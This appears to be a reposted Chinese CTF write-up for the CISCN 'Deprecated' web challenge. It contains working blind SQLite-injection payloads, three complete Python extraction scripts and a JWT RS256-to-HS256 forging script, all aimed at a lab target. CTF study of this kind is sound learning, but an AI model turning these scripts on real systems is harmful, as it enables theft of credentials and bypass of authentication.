比较套路化的sqlite注入——Deprecated"

admin 2026-10-18 01:40:39 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

比较套路化的sqlite注入——Deprecated

原创

珂字辈
珂字辈

珂技知识分享

2026年8月26日 09:47
湖北

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

题目

https://github.com/BK-Sec/2025CISCN/tree/main/Web/Deprecated

环境

https://github.com/btop251/ciscn-2025-Deprecated

比较套路化,routes/index.js中的/feedback接口存在SQL注入,使用了sqlite数据库。

const badwordCheck= (data) => {    data=data.toLowerCase();    let badwords = /system|blob|exec|date|rand|char|regexp|unicode|load/g;    return !!data.match(badwords);};......router.post('/feedback', (req,res) => {    try{        let message=req.body.message.replace(/'/g,\"\\\\'\").replace(/\"/g,\"\\\\\\\"\");        if(badwordCheck(message)){            return res.send('Forbidden word in message.');        }        db.sendFeedback(message);    }catch(err){        throw (err.toString());    }    return res.send('OK');});

可以看到,单双引号都被转义,有一堆方法过滤,跟进到utils/DButil.js

    sendFeedback(message){        db.prepare(`INSERT INTO messages VALUES('${message}')`).run();    }

显然可以用反斜杠突破前面的单引号,注释突破后面的单引号,这里只能基于报错的布尔盲注,在sqlite中就是经典的abs(0x8000000000000000)。因此基础payload就是这样的。

POST /feedback HTTP/1.1Host: myweb:8081Content-Length: 236Content-Type: application/x-www-form-urlencoded message=test\\'-(case when 1=2 then 1 else abs(0x8000000000000000) end)) --

如何注用户名密码呢?由于关键的char和unicode被过滤掉了,只能使用hex,这样等同于hex('a'),也就是61。

hex(substr((select+group_concat(username)+from+users),1,1))

如果是mysql,后面取0-ff范围比较即可。但是sqlite的类型检测非常严格,hex('a')得到的是text 61,无法跟int 61比较。

而这题我们又无法使用引号,这使得我们无法得到a字符串,在mysql中还有0x61='a'的办法,在sqlite中也不行。

聪明的人会想到强制类型转化,我可以将text 61转成int 61。

CAST(hex(substr((select+group_concat(username)+from+users),1,1))+AS+INTEGER)

这样确实可以,但是也仅限一部分hex后没有A-F的字符,比如hex('m')就会丢失一位。

无奈去补sqlite的知识,发现这也是个以前考过的tips,就是考如何构造A-F的字符串,其中CDE是可以裸构造出来的。

https://www.anquanke.com/post/id/222625

table['C'] = 'trim(hex(typeof(.1)),12567)' table['D'] = 'trim(hex(0xffffffffffffffff),123)' table['E'] = 'trim(hex(0.1),1230)'

因为过滤函数的不同,我们可以依葫芦画瓢,构造AF。

table['A'] = 'substr(upper(typeof(.1)),3,1)' table['F'] = 'substr(upper(cast(1e999 as text)),3,1)'

最后B因为过滤了blob导致很难构造出来。和AI讨论了很多方案,最合理的是。

table['B'] = 'substr((select group_concat(sql)from sqlite_master),10,1)'

它会获取到第一条SQL语句CREATE TABLE,里面有字符串B。

除此之外,我们还可以利用hex([0-9A-F])没有A-F这一特性,进行二次hex。

hex(substr(hex(substr((select+group_concat(username)+from+users),1,1)),1,1))=3||6

但这样会损失爆破效率。

当然,更简单的办法是直接注册一个用户名为ABCDEF的账户,这样就能轻松用substr获取想要的A-F。

PS:扩展一下,如果这题过滤了substr,注册6个账户就行。

让AI帮我们写出三种不同方案的爆破脚本

1,注册ABCDEF账户方案

import stringimport requests TARGET_URL = \"http://myweb:8081/feedback\" # 可用的爆破字符集CHARSET = string.ascii_letters + string.digits + \"{},.\" # 通过已知 password (123456) 精准定位用户名是 ABCDEF 的记录HEX_MAP = {    \"0\": \"0\",    \"1\": \"1\",    \"2\": \"2\",    \"3\": \"3\",    \"4\": \"4\",    \"5\": \"5\",    \"6\": \"6\",    \"7\": \"7\",    \"8\": \"8\",    \"9\": \"9\",    \"A\": \"substr((select username from users where cast(password as INTEGER)=123456),1,1)\",    \"B\": \"substr((select username from users where cast(password as INTEGER)=123456),2,1)\",    \"C\": \"substr((select username from users where cast(password as INTEGER)=123456),3,1)\",    \"D\": \"substr((select username from users where cast(password as INTEGER)=123456),4,1)\",    \"E\": \"substr((select username from users where cast(password as INTEGER)=123456),5,1)\",    \"F\": \"substr((select username from users where cast(password as INTEGER)=123456),6,1)\",}  def build_hex_expression(char):    \"\"\"将字符转换成大写 HEX,并用 || 拼接(如 'j' -> '6A' -> 6||A)\"\"\"    hex_str = char.encode().hex().upper()    parts = [HEX_MAP[c] for c in hex_str]    return \"||\".join(parts)  def check_char(pos, char):    target_hex_expr = build_hex_expression(char)     # 构造与你原本格式完全一致的 Payload    payload = (        f\"test\\\\'-(case/*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*/\"        f\"when hex(substr((select group_concat(password) from users),{pos},1))={target_hex_expr}\"        f\" then 1 else abs(0x8000000000000000) end)) -- \"    )    #print(payload)    data = {\"message\": payload}    headers = {\"Content-Type\": \"application/x-www-form-urlencoded\"}     try:        response = requests.post(TARGET_URL, data=data, headers=headers, timeout=5)        # 依据:条件成立时 SQL 正常执行,返回 OK        return response.status_code == 200 and \"OK\" in response.text    except requests.exceptions.RequestException:        return False  def dump_usernames():    result = \"\"    print(\"[+] Starting dump using password=123456 anchor mapping...\")     pos = 1    while True:        found = False        for char in CHARSET:            if check_char(pos, char):                result += char                print(                    f\"[+] Pos {pos}: '{char}' (HEX: {char.encode().hex().upper()}) -> Current Result: {result}\"                )                found = True                break         if not found:            print(f\"\
[+] Extracted usernames: {result}\")            break         pos += 1  if __name__ == \"__main__\":    dump_usernames()

2,特殊手法构造A-F

import stringimport requests TARGET_URL = \"http://myweb:8081/feedback\" # 可用的爆破字符集CHARSET = string.ascii_letters + string.digits + \"{},.\" # 1. 纯原生 SQL 表达式构造 A-F(无需单引号、无需注册特定账号、绕过 blob 过滤)SQL_A = \"substr(upper(typeof(.1)),3,1)\"  # typeof(.1) -> 'real' -> 'REAL' -> 提取 'A'SQL_B = \"substr((select group_concat(sql)from sqlite_master),10,1)\"  # 'CREATE TABLE...' -> 提取 'B'SQL_C = \"trim(hex(typeof(.1)),12567)\"  # typeof(.1) -> 'real' -> '7265616C' -> 提取 'C'SQL_D = (    \"trim(hex(0xffffffffffffffff),123)\"  # -1 -> HEX -> '2D31' -> 提取 'D')SQL_E = \"trim(hex(0.1),1230)\"  # '0.1' -> HEX -> '302E31' -> 提取 'E'SQL_F = (    \"substr(upper(cast(1e999 as text)),3,1)\"  # '1e999' -> 'Infinity' -> 'INFINITY' -> 提取 'F') # 2. 建立 HEX 字符映射字典HEX_MAP = {    \"0\": \"0\",    \"1\": \"1\",    \"2\": \"2\",    \"3\": \"3\",    \"4\": \"4\",    \"5\": \"5\",    \"6\": \"6\",    \"7\": \"7\",    \"8\": \"8\",    \"9\": \"9\",    \"A\": SQL_A,    \"B\": SQL_B,    \"C\": SQL_C,    \"D\": SQL_D,    \"E\": SQL_E,    \"F\": SQL_F,}  def build_hex_expression(char):    \"\"\"将字符转换为大写 HEX,并用 || 拼接为 SQL 表达式(如 'j' -> '6A' -> 6||SQL_A)\"\"\"    hex_str = char.encode().hex().upper()    parts = [HEX_MAP[c] for c in hex_str]    return \"||\".join(parts)  def check_char(pos, char):    target_hex_expr = build_hex_expression(char)     # 构造无需任何单引号的条件盲注 Payload    payload = (        f\"test\\\\'-(case/*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*/\"        f\"when hex(substr((select group_concat(username) from users),{pos},1))={target_hex_expr}\"        f\" then 1 else abs(0x8000000000000000) end)) -- \"    )     data = {\"message\": payload}    headers = {\"Content-Type\": \"application/x-www-form-urlencoded\"}     try:        response = requests.post(TARGET_URL, data=data, headers=headers, timeout=5)        # 条件成立时正常返回 200 OK        return response.status_code == 200 and \"OK\" in response.text    except requests.exceptions.RequestException:        return False  def dump_data():    result = \"\"    print(\"[+] Starting dump using pure native SQL expression mapping...\")     pos = 1    while True:        found = False        for char in CHARSET:            if check_char(pos, char):                result += char                print(                    f\"[+] Pos {pos}: '{char}' (HEX: {char.encode().hex().upper()}) -> Current Result: {result}\"                )                found = True                break         if not found:            print(f\"\
[+] Extracted result: {result}\")            break         pos += 1  if __name__ == \"__main__\":    dump_data()

3,二次hex规避A-F

import stringimport requests TARGET_URL = \"http://myweb:8081/feedback\" # 可用的爆破字符集CHARSET = string.ascii_letters + string.digits + \"{},.-_!\" # 16进制字符 (0-9, A-F) 对应的二次 HEX 数字表达映射DOUBLE_HEX_MAP = {    \"0\": \"3||0\",    \"1\": \"3||1\",    \"2\": \"3||2\",    \"3\": \"3||3\",    \"4\": \"3||4\",    \"5\": \"3||5\",    \"6\": \"3||6\",    \"7\": \"3||7\",    \"8\": \"3||8\",    \"9\": \"3||9\",    \"A\": \"4||1\",    \"B\": \"4||2\",    \"C\": \"4||3\",    \"D\": \"4||4\",    \"E\": \"4||5\",    \"F\": \"4||6\",}  def check_hex_char(target_pos, hex_char_idx, hex_char):    \"\"\"验证目标字段第 target_pos 个字符的 HEX 编码中的第 hex_char_idx 位是否为 hex_char\"\"\"    target_double_hex = DOUBLE_HEX_MAP[hex_char]     payload = (        f\"test\\\\'-(case/*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*/\"        f\"when hex(substr(hex(substr((select group_concat(username) from users),{target_pos},1)),{hex_char_idx},1))={target_double_hex}\"        f\" then 1 else abs(0x8000000000000000) end)) -- \"    )     data = {\"message\": payload}    headers = {\"Content-Type\": \"application/x-www-form-urlencoded\"}     try:        response = requests.post(TARGET_URL, data=data, headers=headers, timeout=5)        return response.status_code == 200 and \"OK\" in response.text    except requests.exceptions.RequestException:        return False  def dump_data():    result = \"\"    print(\"[+] Starting dump using Double-HEX technique...\")     pos = 1    while True:        # 1. 爆破第一个 HEX 字符(如 '6')        first_hex = None        for h in DOUBLE_HEX_MAP.keys():            if check_hex_char(pos, 1, h):                first_hex = h                break         if not first_hex:            print(f\"\
[+] Extraction complete! Final result: {result}\")            break         # 2. 爆破第二个 HEX 字符(如 'A')        second_hex = None        for h in DOUBLE_HEX_MAP.keys():            if check_hex_char(pos, 2, h):                second_hex = h                break         if not second_hex:            break         # 3. 将组合出的 HEX 还原为原始字符 ('6A' -> 'j')        char_hex = first_hex + second_hex        char = bytes.fromhex(char_hex).decode(\"latin-1\", errors=\"ignore\")        result += char         print(            f\"[+] Pos {pos}: HEX={char_hex} -> '{char}' | Current: {result}\"        )        pos += 1  if __name__ == \"__main__\":    dump_data()

得到admin/114514,登录之后有公钥和提示。

这就涉及checkfile接口,需要File-Priviledged-User权限。

其实就是需要篡改jwt,登录后的jwt属性如下。

很常见的RS256->HS256算法混淆漏洞,脚本如下。

import base64import hashlibimport hmacimport json
PUBLIC_KEY = \"\"\"-----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAydTyE7rE8M2ZyKq3QYFd8203XcTzU5UIDD/1MK4O+gGvwjvofz18jm8q++CPuKBj4UZUCvdqXXgV6fm6duNrZG2xQLES6hlaye7vJTquHsNoO5o5KjiufTeKm3mFmCTiqb6fQC386dH56iB+jso5n2a2xl4VL8+IFaoJVyWfht0EGdsQ6zpE2GrWqFRIeLz+CNU6+6Vx7SGA9H+VwWSS1+BI+bk/PJSS+0DE4FMctCx8OrT+y/SSRf/bIFbzNHRaZvAsIOC0AHtPVlxngBVan3YiXGpNr9T9uvespX74nYSQDy9VqUQnCNa+y9ceoV88wO7vp/XFT1Nndk+dUfAeIwIDAQAB-----END PUBLIC KEY-----\"\"\"
OLD_TOKEN = \"eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicHJpdmlsZWRnZSI6IlRlbXAgVXNlciIsImlhdCI6MTc4NzY1MjIxNX0.Lxg7ibp1ZH6lHxIfLNCWY-SkJeg3cgRBuHyQg0TIK3K3Paei3gKhfUQ4W07WEF5TC0rJ9Lf72W8rB-wwdHWWagJ251oRkJdVDgiXkGkVLDxXqcpMTkLRVzZaYF0PlWcNo0AxSgcQUaBpBNJCzw0WHpByaxtkgvo0pXM4J-SyfSHKKeuMvCcJCLaEBS5q7YLc-UHD0IT8EA5Jpd8lMNTKHgeVVL8x-hnn2I5CGapdVZecrydtRRaRUrHDqrS9Gb2oYBcoyGUr3dDNJw8jjgCVVBmkKQdtaJxc8s9sOPVMS5bx7ab6yTxQD228uEuqNND0LPfBWSBnnITby8S7VPG7RA\"

def b64url_encode(data: bytes) -> str:    return base64.urlsafe_b64encode(data).decode(\"utf-8\").rstrip(\"=\")

# 1. 强制将 Header 算法改为 HS256header = {\"alg\": \"HS256\", \"typ\": \"JWT\"}
# 2. 修改 Payload 中的权限字段payload_b64 = OLD_TOKEN.split(\".\")[1]payload_b64 += \"=\" * ((4 - len(payload_b64) % 4) % 4)payload = json.loads(base64.urlsafe_b64decode(payload_b64).decode())payload[\"priviledge\"] = \"File-Priviledged-User\"
# 3. 进行无空格无换行的 Base64URL 编码header_str = b64url_encode(    json.dumps(header, separators=(\",\", \":\")).encode(\"utf-8\"))payload_str = b64url_encode(    json.dumps(payload, separators=(\",\", \":\")).encode(\"utf-8\"))signing_input = f\"{header_str}.{payload_str}\".encode(\"utf-8\")
# 4. 强制使用公钥文本做 HMAC-SHA256 签名signature = hmac.new(    PUBLIC_KEY.encode(\"utf-8\"), signing_input, hashlib.sha256).digest()signature_str = b64url_encode(signature)
# 5. 输出伪造的 Tokennew_token = f\"{header_str}.{payload_str}.{signature_str}\"print(new_token)

最终获取flag


    比较套路化的sqlite注入——Deprecated" 网络安全文章

    比较套路化的sqlite注入——Deprecated"

    本文详细分析了一个CTF题目中的SQLite注入漏洞利用过程。核心难点在于单双引号被转义且过滤了char、unicode等函数,导致无法直接构造字符串。作者通过反斜杠突破引号,利用abs(0x8000000000000000)进行布尔盲注,并提出了三种构造A-F字符的方案:注册特定用户、使用SQL原生表达式或二次hex。文章提供了完整的爆破脚本,具有较高的实战参考价值。
    普通人也可以学会的情报分析方法" 网络安全文章

    普通人也可以学会的情报分析方法"

    本文介绍了普通人可用的6种情报分析方法:区分事实与观点、主动寻找反证、追溯信息源头、交叉验证多来源、梳理时间线发现矛盾、标注置信程度避免过早定论。核心是培养批判性思维,在信息泛滥时代提升判断力,适用于识人、合作、网络信息辨别等场景。
    固体溶解于液体后液面高度如何变化" 网络安全文章

    固体溶解于液体后液面高度如何变化"

    文章探讨固体溶解于液体后液面高度变化问题,从冰块融化经典题推广至一般形式。通过浮力与密度关系推导,结论是液面变化取决于固体溶解后混合液密度与液体密度的比较:混合液密度大于液体时液面上升,等于时不变,小于时下降。例如淡水冰融于海水导致海平面上升。
    几千万条流量里捞WebShell,这招好用,但别用错了" 网络安全文章

    几千万条流量里捞WebShell,这招好用,但别用错了"

    本文分析了一种通过识别非TLS加密通信来缩小WebShell排查范围的方法。核心思路是排除法:先梳理企业私有加密业务,建立台账让业务部门认领,再集中调查无人认领的异常通信。该方法能有效降噪,但并非直接检测WebShell,存在误报和盲区。真正的排查需结合请求、应用、主机日志和时间线进行完整取证。建议安全团队将此法作为入口筛选器,并完善资产治理。
    评论:0   参与:  0